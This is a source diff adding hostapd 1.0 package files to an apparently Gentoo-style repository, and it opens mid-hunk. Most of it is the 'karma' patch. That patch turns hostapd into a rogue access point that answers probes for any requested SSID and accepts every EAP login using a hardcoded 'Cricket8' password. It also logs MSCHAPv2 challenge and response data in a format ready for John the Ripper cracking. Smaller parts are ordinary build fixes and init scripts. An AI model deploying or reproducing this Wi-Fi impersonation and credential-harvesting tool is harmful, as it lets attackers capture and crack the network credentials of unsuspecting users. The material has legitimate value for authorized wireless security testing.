++ }
++
++ // KARMA END
+ }
+
+ if (reassoc)
+diff -Nur hostapd-1.0/src/crypto/random.c hostapd-1.0-karma/src/crypto/random.c
+--- hostapd-1.0/src/crypto/random.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/crypto/random.c 2012-08-06 12:20:55.000000000 +0100
+@@ -134,8 +134,8 @@
+ static unsigned int count = 0;
+
+ count++;
+- wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
+- count, entropy);
++ //wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
++ // count, entropy);
+ if (entropy > MIN_COLLECT_ENTROPY && (count & 0x3ff) != 0) {
+ /*
+ * No need to add more entropy at this point, so save CPU and
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma.patch b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
new file mode 100644
index 00000000..2b88965a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
@@ -0,0 +1,465 @@
+diff -urN hostapd-1.0.orig//hostapd/Makefile hostapd-1.0/hostapd/Makefile
+--- hostapd-1.0.orig//hostapd/Makefile 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/Makefile 2012-07-17 18:36:53.318959033 +0800
+@@ -3,7 +3,7 @@
+ endif
+
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+
+ CFLAGS += -I../src
+@@ -95,6 +95,7 @@
+
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+
++OBJS += ../src/karma/karma.o
+
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+
+diff -urN hostapd-1.0.orig//hostapd/hostapd.conf hostapd-1.0/hostapd/hostapd.conf
+--- hostapd-1.0.orig//hostapd/hostapd.conf 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/hostapd.conf 2012-07-17 18:36:53.319959023 +0800
+@@ -3,7 +3,7 @@
+
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -413,7 +414,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -421,7 +422,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -463,16 +464,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -480,9 +483,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -680,6 +685,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -701,6 +707,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-1.0.orig//hostapd/main.c hostapd-1.0/hostapd/main.c
+--- hostapd-1.0.orig//hostapd/main.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/main.c 2012-07-17 18:37:57.724959001 +0800
+@@ -39,6 +39,10 @@
+
+ extern struct wpa_driver_ops *wpa_drivers[];
+
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+
+ struct hapd_global {
+ void **drv_priv;
+@@ -521,7 +525,7 @@
+ show_version();
+ fprintf(stderr,
+ "\n"
+- "usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
++ "usage: hostapd [-hdBKtvRA] [-P <PID file>] [-e <entropy file>] "
+ "<configuration file(s)>\n"
+ "\n"
+ "options:\n"
+@@ -535,7 +539,9 @@
+ " -f log output to debug file instead of stdout\n"
+ #endif /* CONFIG_DEBUG_FILE */
+ " -t include timestamps in some debug messages\n"
+- " -v show hostapd version\n");
++ " -v show hostapd version\n"
++ " -R [karma] respond to all probes using requested SSID\n"
++ " -A [karma] enable authentication attempt logging\n");
+
+ exit(1);
+ }
+@@ -564,7 +570,7 @@
+ return -1;
+
+ for (;;) {
+- c = getopt(argc, argv, "Bde:f:hKP:tv");
++ c = getopt(argc, argv, "Bde:f:hKP:tvRA");
+ if (c < 0)
+ break;
+ switch (c) {
+@@ -595,6 +601,12 @@
+ case 't':
+ wpa_debug_timestamp++;
+ break;
++ case 'R':
++ karma_beacon_respond++;
++ break;
++ case 'A':
++ karma_eap_auth++;
++ break;
+ case 'v':
+ show_version();
+ exit(1);
+diff -urN hostapd-1.0.orig//src/ap/beacon.c hostapd-1.0/src/ap/beacon.c
+--- hostapd-1.0.orig//src/ap/beacon.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/beacon.c 2012-07-17 18:36:53.322959001 +0800
+@@ -14,6 +14,11 @@
+ * See README and COPYING for more details.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -283,7 +288,24 @@
+ if (sta)
+ sta->ssid_probe = &hapd->conf->ssid;
+ }
+-
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ else if (karma_beacon_respond) {
++ char ssid_txt[33];
++ char *message = NULL;
++
++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++ karma_logger(0, message);
++ free(message);
++
++ ssid = (char *)elems.ssid;
++ ssid_len = elems.ssid_len;
++ //if (sta)
++ // sta->ssid_probe = &elems.ssid;
++ }
+ if (!ssid) {
+ if (!(mgmt->da[0] & 0x01)) {
+ char ssid_txt[33];
+diff -urN hostapd-1.0.orig//src/ap/hostapd.c hostapd-1.0/src/ap/hostapd.c
+--- hostapd-1.0.orig//src/ap/hostapd.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/hostapd.c 2012-07-17 18:36:53.323958995 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #include "utils/common.h"
+diff -urN hostapd-1.0.orig//src/ap/ieee802_11.c hostapd-1.0/src/ap/ieee802_11.c
+--- hostapd-1.0.orig//src/ap/ieee802_11.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_11.c 2012-07-17 18:36:53.324958995 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -520,8 +522,9 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server.c hostapd-1.0/src/eap_server/eap_server.c
+--- hostapd-1.0.orig//src/eap_server/eap_server.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server.c 2012-07-17 18:36:53.325959001 +0800
+@@ -18,6 +18,11 @@
+ * backend_auth configuration variable to TRUE.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ int phase2)
+ {
+- struct eap_user *user;
++ struct eap_user *user;
++ char *username = NULL;
++ char *message = NULL;
++
++ eap_user_free(sm->user);
++ sm->user = NULL;
+
+- if (sm == NULL || sm->eapol_cb == NULL ||
++ user = os_zalloc(sizeof(*user));
++ if (user == NULL)
++ return -1;
++
++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++ if (karma_eap_auth)
++ {
++ user->methods[0].vendor = sm->respVendor;
++ user->password = os_zalloc(9);
++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++ user->password_len = 8;
++
++ if (phase2)
++ user->methods[0].method = EAP_TYPE_MSCHAPV2;
++ else // TODO: what happens if we propose LEAP?
++ user->methods[0].method = EAP_TYPE_PEAP;
++
++ username = os_zalloc(sm->identity_len + 1);
++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++
++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++ printf("Error allocating memory for request message.\n");
++
++ karma_logger(0, message);
++ free(message);
++ }
++ else
++ {
++ if (sm == NULL || sm->eapol_cb == NULL ||
+ sm->eapol_cb->get_eap_user == NULL)
+- return -1;
++ return -1;
+
+- eap_user_free(sm->user);
+- sm->user = NULL;
+-
+- user = os_zalloc(sizeof(*user));
+- if (user == NULL)
+- return -1;
+-
+- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+- identity_len, phase2, user) != 0) {
+- eap_user_free(user);
+- return -1;
+- }
++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++ identity_len, phase2, user) != 0) {
++ eap_user_free(user);
++ return -1;
++ }
++ }
+
+ sm->user = user;
+ sm->user_eap_method_index = 0;
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c hostapd-1.0/src/eap_server/eap_server_mschapv2.c
+--- hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server_mschapv2.c 2012-07-17 18:36:53.331959001 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -290,13 +292,15 @@
+ struct wpabuf *respData)
+ {
+ struct eap_mschapv2_hdr *resp;
+- const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ u8 flags;
+ size_t len, name_len, i;
+ u8 expected[24];
+ const u8 *username, *user;
+ size_t username_len, user_len;
+ int res;
++ char *auth_creds = NULL;
++ int auth_creds_len = 0;
+
+ pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ &len);
+@@ -336,6 +340,38 @@
+ wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+
++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++ if (karma_eap_auth)
++ {
++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++ auth_creds = os_malloc(auth_creds_len + 1);
++ memset(auth_creds, 0, auth_creds_len + 1);
++
++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len);
++ sprintf(auth_creds + sm->identity_len, ":::");
++
++ /* Authenticator Challenge */
++ auth_challenge = data->auth_challenge;
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++ /* MSCHAPv2 Response */
++ for (i=0; i<24; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++
++ /* Peer Challenge */
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]);
++
++ karma_logger(1, auth_creds);
++ free(auth_creds);
++ }
++
+ /* MSCHAPv2 does not include optional domain name in the
+ * challenge-response calculation, so remove domain prefix
+ * (if present). */
+diff -urN hostapd-1.0.orig//src/karma/karma.c hostapd-1.0/src/karma/karma.c
+--- hostapd-1.0.orig//src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.c 2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++#include <time.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++ FILE *logfd;
++ time_t cur_time;
++ struct tm *tm_ptr;
++ char time_buf[256];
++ /* General: probe requests, username requests */
++ logfd = fopen("./hostapd-karma.txt", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++ logfd = stderr;
++ }
++
++ time(&cur_time);
++ tm_ptr = localtime(&cur_time);
++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++ fprintf(logfd, "%s: %s\n", time_buf, message);
++ fprintf(stderr, "[karma] %s: %s\n", time_buf, message);
++ fclose(logfd);
++
++ /* MSCHAPv2 Challenge/Response */
++ if (type == 1)
++ {
++ logfd = fopen("./hostapd-karma.lc", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++ logfd = stderr;
++ }
++ fprintf(logfd, "%s\n", message);
++ fclose(logfd);
++ }
++}
+diff -urN hostapd-1.0.orig//src/karma/karma.h hostapd-1.0/src/karma/karma.h
+--- hostapd-1.0.orig//src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.h 2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;
++extern void karma_logger(int, char*);
+diff -urN hostapd-1.0.orig//src/utils/wpa_debug.c hostapd-1.0/src/utils/wpa_debug.c
+--- hostapd-1.0.orig//src/utils/wpa_debug.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/utils/wpa_debug.c 2012-07-17 18:36:53.333959000 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+
++/* Karma Mode */
++#include "karma/karma.h"
+
+ int wpa_debug_level = MSG_INFO;
+ int wpa_debug_show_keys = 0;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
new file mode 100644
index 00000000..abf15a6e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
@@ -0,0 +1,24 @@
+diff -aurp a/src/drivers/drivers.mak b/src/drivers/drivers.mak
+--- a/src/drivers/drivers.mak 2012-10-03 19:42:16.387634128 +0000
++++ b/src/drivers/drivers.mak 2012-10-03 19:43:16.246693744 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+ DRV_LIBS += -lnl-3
+ DRV_LIBS += -lnl-genl-3
+- DRV_CFLAGS += -DCONFIG_LIBNL20
++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+ ifdef CONFIG_LIBNL_TINY
+ DRV_LIBS += -lnl-tiny
+diff -aurp a/src/drivers/drivers.mk b/src/drivers/drivers.mk
+--- a/src/drivers/drivers.mk 2012-10-03 19:42:16.385634126 +0000
++++ b/src/drivers/drivers.mk 2012-10-03 19:43:23.333700780 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+ DRV_LIBS += -lnl-3
+ DRV_LIBS += -lnl-genl-3
+- DRV_CFLAGS += -DCONFIG_LIBNL20
++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+ ifdef CONFIG_LIBNL_TINY
+ DRV_LIBS += -lnl-tiny
diff --git a/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
new file mode 100644
index 00000000..bda92cf4
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
@@ -0,0 +1,48 @@
+From 586c446e0ff42ae00315b014924ec669023bd8de Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <j@w1.fi>
+Date: Sun, 7 Oct 2012 20:06:29 +0300
+Subject: [PATCH] EAP-TLS server: Fix TLS Message Length validation
+
+EAP-TLS/PEAP/TTLS/FAST server implementation did not validate TLS
+Message Length value properly and could end up trying to store more
+information into the message buffer than the allocated size if the first
+fragment is longer than the indicated size. This could result in hostapd
+process terminating in wpabuf length validation. Fix this by rejecting
+messages that have invalid TLS Message Length value.
+
+This would affect cases that use the internal EAP authentication server
+in hostapd either directly with IEEE 802.1X or when using hostapd as a
+RADIUS authentication server and when receiving an incorrectly
+constructed EAP-TLS message. Cases where hostapd uses an external
+authentication are not affected.
+
+Thanks to Timo Warns for finding and reporting this issue.
+
+Signed-hostap: Jouni Malinen <j@w1.fi>
+intended-for: hostap-1
+---
+ src/eap_server/eap_server_tls_common.c | 8 ++++++++
+ 1 files changed, 8 insertions(+), 0 deletions(-)
+
+diff --git a/src/eap_server/eap_server_tls_common.c b/src/eap_server/eap_server_tls_common.c
+index 31be2ec..46f282b 100644
+--- a/src/eap_server/eap_server_tls_common.c
++++ b/src/eap_server/eap_server_tls_common.c
+@@ -228,6 +228,14 @@ static int eap_server_tls_process_fragment(struct eap_ssl_data *data,
+ return -1;
+ }
+
++ if (len > message_length) {
++ wpa_printf(MSG_INFO, "SSL: Too much data (%d bytes) in "
++ "first fragment of frame (TLS Message "
++ "Length %d bytes)",
++ (int) len, (int) message_length);
++ return -1;
++ }
++
+ data->tls_in = wpabuf_alloc(message_length);
+ if (data->tls_in == NULL) {
+ wpa_printf(MSG_DEBUG, "SSL: No memory for message");
+--
+1.7.4-rc1
+
diff --git a/net-wireless/hostapd/files/hostapd-conf.d b/net-wireless/hostapd/files/hostapd-conf.d
new file mode 100644
index 00000000..7d05735e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-conf.d
@@ -0,0 +1,9 @@
+# Space separated List of interfaces which needs to be started before
+# hostapd
+INTERFACES="wlan0"
+
+# Space separated list of configuration files
+CONFIGS="/etc/hostapd/hostapd.conf"
+
+# Extra options to pass to hostapd, see hostapd(8)
+OPTIONS=""
diff --git a/net-wireless/hostapd/files/hostapd-init.d b/net-wireless/hostapd/files/hostapd-init.d
new file mode 100644
index 00000000..bc5b8d6a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-init.d
@@ -0,0 +1,50 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/files/hostapd-init.d,v 1.3 2011/09/25 14:03:46 gurligebis Exp $
+
+extra_started_commands="reload"
+
+depend() {
+ local myneeds=
+ for iface in ${INTERFACES}; do
+ myneeds="${myneeds} net.${iface}"
+ done
+
+ [ -n "${myneeds}" ] && need ${myneeds}
+ use logger
+}
+
+checkconfig() {
+ local file
+
+ for file in ${CONFIGS}; do
+ if [ ! -r "${file}" ]; then
+ eerror "hostapd configuration file (${CONFIG}) not found"
+ return 1
+ fi
+ done
+}
+
+start() {
+ checkconfig || return 1
+
+ ebegin "Starting ${SVCNAME}"
+ start-stop-daemon --start --exec /usr/sbin/hostapd \
+ -- -B ${OPTIONS} ${CONFIGS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping ${SVCNAME}"
+ start-stop-daemon --stop --exec /usr/sbin/hostapd
+ eend $?
+}
+
+reload() {
+ checkconfig || return 1
+
+ ebegin "Reloading ${SVCNAME} configuration"
+ kill -HUP $(pidof /usr/sbin/hostapd) > /dev/null 2>&1
+ eend $?
+}